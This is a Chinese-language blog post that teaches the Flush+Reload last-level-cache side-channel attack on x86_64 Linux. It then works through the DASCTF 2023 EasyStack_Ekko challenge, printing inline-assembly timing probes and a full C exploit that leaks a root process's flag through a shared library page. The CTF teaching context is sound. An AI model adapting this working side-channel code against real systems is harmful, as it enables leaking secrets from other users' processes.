前言
flush+reload是一个基于prime+probe的LLC(Last-Level-Cache)侧信道攻击手法。它相比其它基于缓存的侧信道攻击手法的特点是,因为攻击利用LLC,所以被攻击程序(victim)和间谍程序(spy)可以运行在不同的核心中、虚拟化环境中,得到的结果分辨率高、噪声低。
本攻击手法适用于多种架构和操作系统环境。下面本文将介绍在x86_64架构下、linux系统的L3缓存侧信道攻击原理及实践。
前置知识
MFENCE、LFENCE
MFENCE指令用于序列化对内存的读取、写入顺序,LFENCE指令用于序列化指令的执行,从而避免乱序执行、并行执行导致测量代码段周围的指令在段内执行,从而影响测量时间的精确度。
RDTSC
RDTSC读取处理器的时间戳计数器(Time-Stamp Counter),得到一64位值,将其存储在EDX:EAX中。用于测量代码段的执行时间。
CLFLUSH
CLFLUSH(Cache Line Flush)指令用于将cache line中的数据刷新到内存中,以保证内存和缓存间的一致性。CLFLUSH指令有一个操作数,即指定的内存地址(通常是cache line的起始地址)。CLFLUSH指令会将该地址对应的cacheline中的数据刷新到内存中,从而使cache line中的对应数据被清除。在下一次访问同样的地址时,CPU会从内存中重新加载数据。
Page Sharing
在一些情况下,多个进程可能会共享相同的内存页,这样做主要有两个可能的原因。一、多个进程间通过共享内存实现进程间通信。二、多个进程拥有相同的内存内容(如执行相同可执行文件时,多个进程的.text段;动态库的代码段和数据段共享等),此时操作系统会将它们映射到同样的物理页框上,从而节省内存、提高性能。当一个进程修改了共享的内存页时,linux会通过“写时复制(Copy-on-Write)”机制创建一个新的私有副本,并将修改的内容赋值到新的页框中,从而避免影响到其他进程。
缓存结构
在x86架构下,从L3缓存中读取数据要比从内存中读取快得多,因此处理器会将最近使用的内存数据暂存在L3缓存中。
攻击原理
当系统中的两个进程(victim和spy)存在共享内存页时,若victim访问了页上的某个数据,这个数据会被加载到L3缓存中。我们通过spy测量加载某个地址的时间的长短,判断出victim访问的是不是这个地址。具体的过程可以分为以下三步:
- spy从缓存中清除某个地址的数据(flush)
- spy等待victim访问敏感数据
- spy重新加载这个地址的数据,测量读取消耗的时间(reload)
我们可以通过以下代码实现这个攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int probe(void* addr) { volatile unsigned long time; asm __volatile__ ( " mfence \n" " lfence \n" " rdtsc \n" " lfence \n" " movl %%eax, %%esi \n" " movl (%1), %%eax \n" " lfence \n" " rdtsc \n" " subl %%esi, %%eax \n" " clflush 0(%1) \n" : "=a" (time) : "c" (addr) : "%esi", "%edx" ); return time; }
|
例题
DASCTF 2023年6月 二进制专项赛 EasyStack_Ekko
前面拿到ssh的过程比较ez就不说了
分析靶机环境,root用户正在运行server,且我们作为普通用户没有server文件的访问权限。考虑使用侧信道攻击。
分析libfacenet.so,发现getEmojis()函数返回了共享库内部的.rodata段上的指针。显然这个内存页是会被多个加载了libfacenet的进程共享的。
分析server
1 2 3 4 5 6 7 8 9 10
| strcpy(v7, "dasctf{xxx_xxxxxxx_xx_xxxx_xxxxx}"); Emojis = getEmojis(a1, a2); for ( i = 0; ; ++i ) { for ( j = 1; j <= 100; ++j ) { v5 = Emojis[1000 * (i % 34) + 32 * (v7[i % 34] - '_')]; setlocale(6, "en_US.utf8"); printf("-------> %lc \n", v5); } usleep(10u); }
|
server会根据flag读取Emojis不同位置的数据,并且不同位flag对应的数据之间相隔较远。每次读取之间都有usleep(10),提高了我们侧信道攻击的精确度。我们根据flush+reload写一个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
| #include <stdio.h> #include <wchar.h> #include <unistd.h>
extern wchar_t* getEmojis();
int probe(void* addr) { volatile unsigned long time; asm __volatile__ ( " mfence \n" " lfence \n" " rdtsc \n" " lfence \n" " movl %%eax, %%esi \n" " movl (%1), %%eax \n" " lfence \n" " rdtsc \n" " subl %%esi, %%eax \n" " clflush 0(%1) \n" : "=a" (time) : "c" (addr) : "%esi", "%edx" ); return time ; } int test_outL3_time(void* addr) { volatile unsigned long time; asm __volatile__ ( " mfence \n" " lfence \n" " clflush 0(%0) \n" : : "c" (addr) : ); asm __volatile__ ( " mfence \n" " lfence \n" " rdtsc \n" " lfence \n" " movl %%eax, %%esi \n" " movl (%1), %%eax \n" " lfence \n" " rdtsc \n" " subl %%esi, %%eax \n" " clflush 0(%1) \n" : "=a" (time) : "c" (addr) : "%esi", "%edx" ); return time ; }
unsigned long outL3_time; unsigned long inL3_time; unsigned long average_cache_time;
void TestCache(){ wchar_t *emo=getEmojis(); for(int i=1;i<=1000;i++){ outL3_time+=test_outL3_time(emo); wchar_t x=emo[160]; inL3_time+=probe((emo+160)); } outL3_time/=1000; inL3_time/=1000; average_cache_time=(inL3_time+outL3_time)/2; }
int main(){ TestCache(); printf("outL3_time=%ld\ninL3_time=%ld\naverage_cache_time=%ld\n",outL3_time,inL3_time,average_cache_time);
wchar_t *emo=getEmojis();
int flag[40][40]={0};
for(int i=7;i<=31;i++){ for(int j=0;j<=30;j++){ for(int t=0;t<5000;t++){ unsigned long cache_time=probe(emo+i*1000+j*32); if(cache_time<average_cache_time){ printf("%d-%c---->%lu\n",i,j+'_',cache_time); flag[i][j]++; } usleep(100); } printf("--------# %d %c over\n",i,j+'_'); } printf("--------> %d over\n",i); } printf("\n===================\n"); for(int i=7;i<=31;i++){ for(int j=0;j<=30;j++){ if(flag[i][j]>=2)printf("%c",j+'_'); } } printf("\nDASCTF{"); for(int i=7;i<=31;i++){ int max_count=0; char c='#'; for(int j=0;j<=30;j++){ if(flag[i][j]>max_count){ max_count=flag[i][j]; c=j+'_'; } } putchar(c); } puts("}"); return 0; }
|
如果有位置没有探测到,换用测试次数更多的代码针对位置重新探测即可。最后得到flag
后记
这个攻击的思路比较显而易见,但是具体利用手法方面我也有没搞懂的地方(比如DASCTF那题的官方exp),若有疏漏欢迎指出
参考资料
FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack
DASCTF官方wp